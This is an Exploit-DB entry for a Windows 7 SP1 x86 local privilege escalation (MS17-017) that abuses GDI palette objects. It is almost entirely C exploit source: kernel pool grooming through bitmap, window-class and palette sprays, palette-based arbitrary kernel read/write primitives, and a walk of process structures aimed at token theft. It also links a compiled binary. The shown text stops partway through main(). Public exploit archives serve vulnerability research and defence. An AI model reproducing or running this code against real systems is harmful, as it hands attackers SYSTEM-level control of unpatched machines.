Exploit-DB #42432
Description: Microsoft Windows 7 SP1 (x86) - GDI Palette Objects Local Privilege Escalation (MS17-017)
Type: local
Platform: windows_x86
Date: 2017-07-19
Author: Saif

Exploit:
# E-DB Note: 
# + Source: https://github.com/sensepost/gdi-palettes-exp
# + Binary: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42432.exe

#include <Windows.h>
#include <stdio.h>
#include <winddi.h>
#include <Psapi.h>

//From http://stackoverflow.com/a/26414236 this defines the details of the NtAllocateVirtualMemory function
//which we will use to map the NULL page in user space.
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
	HANDLE ProcessHandle,
	PVOID *BaseAddress,
	ULONG ZeroBits,
	PULONG AllocationSize,
	ULONG AllocationType,
	ULONG Protect
	);

static HBITMAP bitmaps[2000];
static HPALETTE hp[2000];
HANDLE hpWorker, hpManager, hManager;
BYTE *bits;


// https://www.coresecurity.com/blog/abusing-gdi-for-ring0-exploit-primitives
//dt nt!_EPROCESS UniqueProcessID ActiveProcessLinks Token
typedef struct
{
	DWORD UniqueProcessIdOffset;
	DWORD TokenOffset;
} VersionSpecificConfig;

//VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8  }; //win 7 SP 1
VersionSpecificConfig gConfig = { 0x0b4 , 0x0f8 };
void SetAddress(UINT* address) {
	SetPaletteEntries((HPALETTE)hpManager, 0x3FE, 1, (PALETTEENTRY*)address);
}

void WriteToAddress(UINT* data, DWORD len) {
	SetPaletteEntries((HPALETTE)hpWorker, 0, len, (PALETTEENTRY*)data);
}

UINT ReadFromAddress(UINT src, UINT* dst, DWORD len) {
	SetAddress((UINT *)&src);
	DWORD res = GetPaletteEntries((HPALETTE)hpWorker, 0, len, (LPPALETTEENTRY)dst);
	return res;
}

// Get base of ntoskrnl.exe
UINT GetNTOsBase()
{
	UINT Bases[0x1000];
	DWORD needed = 0;
	UINT krnlbase = 0;
	if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
		krnlbase = Bases[0];
	}
	return krnlbase;
}

// Get EPROCESS for System process
UINT PsInitialSystemProcess()
{
	// load ntoskrnl.exe

	UINT ntos = (UINT)LoadLibrary("ntkrnlpa.exe");
	// get address of exported PsInitialSystemProcess variable
	UINT addr = (UINT)GetProcAddress((HMODULE)ntos, "PsInitialSystemProcess");
	FreeLibrary((HMODULE)ntos);
	UINT res = 0;
	UINT ntOsBase = GetNTOsBase();
	// subtract addr from ntos to get PsInitialSystemProcess offset from base
	if (ntOsBase) {
		ReadFromAddress(addr - ntos + ntOsBase, (UINT *)&res, sizeof(UINT) / sizeof(PALETTEENTRY));//0x169114
	}
	return res;
}

// Get EPROCESS for current process
UINT PsGetCurrentProcess()
{
	UINT pEPROCESS = PsInitialSystemProcess();// get System EPROCESS

											  // walk ActiveProcessLinks until we find our Pid
	LIST_ENTRY ActiveProcessLinks;
	ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));

	UINT res = 0;

	while (TRUE) {
		UINT UniqueProcessId = 0;

		// adjust EPROCESS pointer for next entry
		pEPROCESS = (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT);
		// get pid
		ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset, (UINT *)&UniqueProcessId, sizeof(UINT) / sizeof(PALETTEENTRY));
		// is this our pid?
		if (GetCurrentProcessId() == UniqueProcessId) {
			res = pEPROCESS;
			break;
		}
		// get next entry
		ReadFromAddress(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(UINT), (UINT *)&ActiveProcessLinks, sizeof(LIST_ENTRY) / sizeof(PALETTEENTRY));
		// if next same as last, we reached the end
		if (pEPROCESS == (UINT)(ActiveProcessLinks.Flink) - gConfig.UniqueProcessIdOffset - sizeof(UINT))
			break;
	}
	return res;
}


void fengshui() {
	HBITMAP bmp;
	// we need 2 object 0x7F4
	for (int y = 0; y < 2000; y++) {
		//0x3A3 = 0xFe8
		bmp = CreateBitmap(0x3A3, 1, 1, 32, NULL);
		bitmaps[y] = bmp;
	}

	//Spray LpszMenuName User object in GDI pool. Ustx
	// size 0x10+8
	TCHAR st[0x32];
	for (int s = 0; s < 2000; s++) {
		WNDCLASSEX Class2 = { 0 };
		wsprintf(st, "Class%d", s);
		Class2.lpfnWndProc = DefWindowProc;
		Class2.lpszClassName = st;
		Class2.lpszMenuName = "Saif";
		Class2.cbSize = sizeof(WNDCLASSEX);
		if (!RegisterClassEx(&Class2)) {
			printf("bad %d %d\r\n", s, GetLastError());
			break;
		}
	}

	for (int s = 0; s < 2000; s++) {
		DeleteObject(bitmaps[s]);
	}


	for (int k = 0; k < 2000; k++) {
		//0x1A6 = 0x7f0+8
		bmp = CreateBitmap(0x1A6, 1, 1, 32, NULL);
		bitmaps[k] = bmp;
	}


	HPALETTE hps;
	LOGPALETTE *lPalette;
	//0x1E3  = 0x7e8+8
	lPalette = (LOGPALETTE*)malloc(sizeof(LOGPALETTE) + (0x1E3 - 1) * sizeof(PALETTEENTRY));
	lPalette->palNumEntries = 0x1E3;
	lPalette->palVersion = 0x0300;
	// for allocations bigger than 0x98 its Gh08 for less its always 0x98 and the tag is Gla18
	for (int k = 0; k < 2000; k++) {
		hps = CreatePalette(lPalette);
		if (!hps) {
			printf("%s - %d - %d\r\n", "CreatePalette - Failed", GetLastError(), k);
			//return;
		}
		hp[k] = hps;
	}

	TCHAR fst[0x32];
	for (int f = 500; f < 750; f++) {
		wsprintf(fst, "Class%d", f);
		UnregisterClass(fst, NULL);
	}

}

UINT GetAddress(BYTE *buf, UINT offset) {
	BYTE bytes[4];
	for (int i = 0; i < 4; i++) {
		bytes[i] = buf[offset + i];
	}
	UINT addr = *(UINT *)bytes;
	return addr;
}

int main(int argc, char *argv[]) {
	HWND hwnd;
	WNDCLASSEX Class = { 0 };
	Class.lpfnWndProc = DefWindowProc;
	Class.lpszClassName = "Class";
	Class.cbSize = sizeof(WNDCLASSEX);

	printf("    __  ________________      ____ ________\r\n");
	printf("   /  |/  / ___<  /__  /     / __ <  /__  /\r\n");
	printf("  / /|_/ /\__ \/ /  / /_____/ / / / /  / / \r\n");
	printf(" / /  / /___/ / /  / /_____/ /_/ / /  / /  \r\n");
	printf("/_/  /_//____/_/  /_/      \____/_/  /_/   \r\n");
	printf("\r\n");
	printf("      [*] By Saif (at) SensePost \r\n");
	printf("	  Twitter: Saif_Sherei\r\n");
	printf("\r\n");
	printf("\r\n");

	if (!RegisterClassEx(&Class)) {
		printf("%s\r\n", "RegisterClass - Failed");
		return 1;
	}
	hwnd = CreateWindowEx(NULL, "Class", "Test1", WS_VISIBLE, 0x5a1f, 0x5a1f, 0x5a1f, 0x5a1f,